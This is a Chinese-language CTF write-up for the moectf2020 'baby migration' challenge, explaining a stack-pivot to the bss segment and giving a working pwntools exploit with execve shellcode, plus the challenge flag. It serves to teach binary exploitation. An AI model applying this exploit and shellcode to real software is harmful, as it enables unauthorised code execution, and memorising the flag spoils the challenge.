moectf2020 write up for baby migration

前言

神奇的栈迁移,想了半天才明白Or2…

0x00.安全检查

首先是惯例的checksec

image.png

四舍五入保护全关

0x01.逆向分析

拖入IDA进行分析

image.png

我们可以看到存在栈溢出,可供溢出字节为66-0x30=18个字节,也就是说基本上只够覆盖rbp(8字节)+返回地址(8字节),空间十分拥挤,同时程序里也没有能够直接利用的gadget

但是我们可以观察到在bss段有极大的可读写空间

image.png

0x02.漏洞利用

故考虑栈迁移,将栈迁移到bss段再放上我们的shellcode

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

offset = 0x30
bss = 0x404060
back_to_gets = 0x4011c8

sc = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
payload1 = b'A'*offset + p64(bss+500) + p64(back_to_gets)
payload2 = sc + b'A'*(offset - len(sc)) + p64(bss+500) + p64(bss+500-offset)

p = process('./baby_migration')#p = remote('sec.arttnba3.cn', 10002)
p.recv()
p.sendline(payload1)
sleep(1)
p.sendline(payload2)
p.interactive()

运行脚本即得flag

image.png

1
moectf{5tack_m1gr@ti0n_1s_e4sy!}
Posted on

2020-12-26

Updated on

2020-12-26

Licensed under

Comments

:D 一言句子获取中...

Loading...Wait a Minute!